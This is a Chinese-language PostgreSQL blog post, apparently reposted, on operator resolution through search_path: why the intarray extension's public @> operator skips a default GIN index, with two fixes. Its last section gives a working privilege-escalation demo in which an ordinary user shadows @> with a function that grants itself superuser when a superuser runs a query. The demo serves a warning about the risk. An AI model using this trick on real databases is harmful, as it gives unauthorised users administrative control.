本文共 9104 字，大约阅读时间需要 30 分钟。
PostgreSQL , intarray , ops , operator , OPERATOR , 操作符路径 , search_path , 优先级
操作符是数据库最常用的要素之一，一个SQL语句中总是会出现它的影子。
select * from tbl where id=1;
这里的=就是操作符。
实际上操作符的底层还是函数，操作符是函数的综合体。
1、PostgreSQL不仅仅允许用户自定义函数，也允许我们自定义操作符。具体见创建操作符的语法。
2、PostgreSQL还允许用户自定义索引接口，因此操作符能否使用索引，能使用什么索引接口，这些都可以定义。并且也有对应关系。
3、PostgreSQL还有一个namespace(schema)的概念，也就是说用户自定义的对象，放在namespace里面。那么我们调用函数，使用操作符时，用的是哪个schema下面的函数与操作符呢？
这个则取决于数据库的search_path参数，有默认值。
postgres=# show search_path ; search_path ----------------- "$user", public (1 row)
通常系统内置的操作符、函数等都在pg_catalog这个schema下面，它在默认路径的末端。
在使用过程中，如果我们创建了与系统内置操作符同名的操作符，并且被优先搜索到（例如放在了user或public下面），可能出现什么情况呢？
思考他们的关系
op udf opclass index
下面我们来看个例子。
我们这里有个例子，是演示数组包含查询、透视。通过gin或rum索引来进行加速。
然而演示过程中，出现了“诡异”的问题。怎么都不走索引了？
1、生成随机数组
create or replace function gen_rand_arr(int,int) returns int[] as $$ select array(select (random()*$1)::int from generate_series(1,$2)); $$ language sql strict;
2、创建测试表
drop table t1; create table t1 (id int, c1 int, arr int[]);
3、写入1000万数据
insert into t1 select id, random()*100, gen_rand_arr(100,10) from generate_series(1,10000000) t(id);
4、创建数组索引（分别创建rum与gin索引接口的索引，只为测试目的）
create index idx_t1_1 on t1 using rum (arr); create index idx_t1_2 on t1 using gin (arr);
5、查看样本数据
postgres=# select * from t1 limit 10; id | c1 | arr ----+----+--------------------------------- 1 | 1 | {64,22,99,58,5,0,75,50,15,100} 2 | 83 | {8,81,82,70,86,92,26,4,69,11} 3 | 61 | {9,75,61,82,65,54,100,44,54,64} 4 | 66 | {53,22,71,54,97,21,69,97,4,77} 5 | 78 | {86,47,64,78,72,68,47,83,28,57} 6 | 58 | {89,38,23,43,38,67,97,2,33,50} 7 | 24 | {4,4,21,25,73,18,29,49,95,15} 8 | 96 | {59,93,68,27,40,52,55,97,10,44} 9 | 35 | {33,86,73,100,83,76,32,34,0,36} 10 | 38 | {21,61,10,39,91,59,34,6,55,93} (10 rows) 6、使用数组包含查询，检查执行计划
postgres=# explain select count(*) from t1 where arr @> array[1,2]; QUERY PLAN ----------------------------------------------------------------- Aggregate (cost=248675.25..248675.26 rows=1 width=8) -> Seq Scan on t1 (cost=0.00..248457.00 rows=87300 width=0) Filter: (arr @> '{1,2}'::integer[]) (3 rows) 为什么它没走索引呢？
原因是我们用到了一个非系统操作符@>，因为我们之前创建了intarray插件，这个插件包含了@>操作符，并创建在public下面。
这意味着，我们在使用@>时，调用了public下面的@>，并且这个@>操作符有它自己的ops，并不是gin默认的ops（系统中gin默认的是系统的gin ops）。
这就解开谜团了：
1、我们调用了intarray插件在public下新增的@>，并不是系统pg_catalog下的@>。
postgres=# \do @> List of operators Schema | Name | Left arg type | Right arg type | Result type | Description ------------+------+---------------+----------------+-------------+------------- pg_catalog | @> | aclitem[] | aclitem | boolean | contains pg_catalog | @> | anyarray | anyarray | boolean | contains -- 系统的 pg_catalog | @> | anyrange | anyelement | boolean | contains pg_catalog | @> | anyrange | anyrange | boolean | contains pg_catalog | @> | box | box | boolean | contains pg_catalog | @> | box | point | boolean | contains pg_catalog | @> | circle | circle | boolean | contains pg_catalog | @> | circle | point | boolean | contains pg_catalog | @> | jsonb | jsonb | boolean | contains pg_catalog | @> | path | point | boolean | contains pg_catalog | @> | polygon | point | boolean | contains pg_catalog | @> | polygon | polygon | boolean | contains pg_catalog | @> | tsquery | tsquery | boolean | contains public | @> | integer[] | integer[] | boolean | contains -- intarray新加的 (14 rows)
contrib/intarray/intarray--1.2.sql CREATE OPERATOR @> ( LEFTARG = _int4, RIGHTARG = _int4, PROCEDURE = _int_contains, COMMUTATOR = '<@', RESTRICT = _int_contains_sel, JOIN = _int_contains_joinsel );
2、这个@>，它本身是能走索引，但是它的OPS并不是系统的gin 索引默认的ops，而是新加的gin__int_ops这个OPS。
contrib/intarray/intarray--1.2.sql CREATE OPERATOR CLASS gin__int_ops FOR TYPE _int4 USING gin AS OPERATOR 3 &&, OPERATOR 6 = (anyarray, anyarray), OPERATOR 7 @>, OPERATOR 8 <@, OPERATOR 13 @, OPERATOR 14 ~, OPERATOR 20 @@ (_int4, query_int), FUNCTION 1 btint4cmp (int4, int4), FUNCTION 2 ginarrayextract (anyarray, internal, internal), FUNCTION 3 ginint4_queryextract (_int4, internal, int2, internal, internal, internal, internal), FUNCTION 4 ginint4_consistent (internal, int2, _int4, int4, internal, internal, internal, internal), STORAGE int4;
3、而我们创建的索引，用的是系统默认的GIN_OPS，所以这就导致了我们上面例子的问题。他们没有对应起来。
怎么解决这个问题呢？
既然数据库有SCHEMA的概念，并且我们自定义的OP在不同的SCHEMA下可以重名，那么如果我们需要调用某个SCHEMA的OP怎么调用呢？
默认情况下，搜索OP，包括UDF，都是通过search_path这个参数决定的，前面讲过了。所以我们在public下优先搜到了intarray创建的@>操作符，导致了前面不走索引的问题。
1、完整语法
expression operator expression (binary infix operator) operator expression (unary prefix operator) expression operator (unary postfix operator) OPERATOR(schema.operatorname)
上面的情况，
1、方法1，我们通过改写SQL，就能用上索引，即，告诉数据库，我们需要调用哪个schema下面的op (与索引的ops对应起来即可).
postgres=# explain select count(*) from t1 where arr OPERATOR(public.@>) array[1,2]; QUERY PLAN ----------------------------------------------------------------- Aggregate (cost=248675.25..248675.26 rows=1 width=8) -> Seq Scan on t1 (cost=0.00..248457.00 rows=87300 width=0) Filter: (arr @> '{1,2}'::integer[]) (3 rows) postgres=# explain select count(*) from t1 where arr OPERATOR(pg_catalog.@>) array[1,2]; QUERY PLAN ----------------------------------------------------------------------------------- Aggregate (cost=68581.20..68581.21 rows=1 width=8) -> Bitmap Heap Scan on t1 (cost=986.77..68362.95 rows=87300 width=0) Recheck Cond: (arr OPERATOR(pg_catalog.@>) '{1,2}'::integer[]) -> Bitmap Index Scan on idx_t1_3 (cost=0.00..964.95 rows=87300 width=0) Index Cond: (arr OPERATOR(pg_catalog.@>) '{1,2}'::integer[]) (5 rows) 2、方法2，创建索引时，使用OP对应的OPS。
把原来的索引删掉，改成下面，或者你保留两个索引接口也可以（当然通常我们只需要一个，只要调用的OP与INDEX内的OPS对应即可） drop index idx_t1_3; create index idx_t1_3 on t1 using gin (arr gin__int_ops);
现在反过来了，默认的public的OP走了索引。
postgres=# explain select count(*) from t1 where arr OPERATOR(public.@>) array[1,2]; QUERY PLAN ----------------------------------------------------------------------------------- Aggregate (cost=68581.20..68581.21 rows=1 width=8) -> Bitmap Heap Scan on t1 (cost=986.77..68362.95 rows=87300 width=0) Recheck Cond: (arr @> '{1,2}'::integer[]) -> Bitmap Index Scan on idx_t1_3 (cost=0.00..964.95 rows=87300 width=0) Index Cond: (arr @> '{1,2}'::integer[]) (5 rows) postgres=# explain select count(*) from t1 where arr OPERATOR(pg_catalog.@>) array[1,2]; QUERY PLAN ------------------------------------------------------------------ Aggregate (cost=248675.25..248675.26 rows=1 width=8) -> Seq Scan on t1 (cost=0.00..248457.00 rows=87300 width=0) Filter: (arr OPERATOR(pg_catalog.@>) '{1,2}'::integer[]) (3 rows) 1、只要有权限，用户可以在public下面定义一堆与pg_catalog下面重名的op，当超级用户执行一些SQL时，（如果设置了search_path中包含public，）可能优先使用这些用户创建的public.OP，从而导致安全问题。
例如普通用户在函数中提权。
例子:
普通用户创建函数，提权。
postgres=> create or replace function hack(_int4,_int4) returns boolean as $$ declare begin alter role test superuser; raise notice 'hacked'; return $1 operator(pg_catalog.@>) $2; end; $$ language plpgsql strict security invoker; CREATE FUNCTION
普通用户创建pg_catalog里面同名的OP到public下面
postgres=> create operator public.@> (procedure = hack, leftarg='_int4', rightarg='_int4'); CREATE OPERATOR
超级用户调用这个OP，导致提权。
postgres=# select * from t1 where arr @> array[1,2] limit 1; NOTICE: hacked select 1 where array[1,2] @> array[1,2];
查看提权效果。
postgres=# \du+ test List of roles Role name | Attributes | Member of | Description -----------+------------+-----------+------------- test | Superuser | {} | NOW, test变成超级用户了。
1、op, index, ops 最好对应起来，否则使用时很容易出现本文提到的问题。怎么就不走索引了？
2、如果需要自定义OP，尽量不要与系统的OP重名。
3、安全需要考虑，普通用户可下FUNCTION，OP与系统FUNCTION,OP重名陷阱，由于public的路径优先级高于pg_catalog，所以超级用户调用这个操作符时，可导致提权。
转载地址：http://okjaa.baihongyu.com/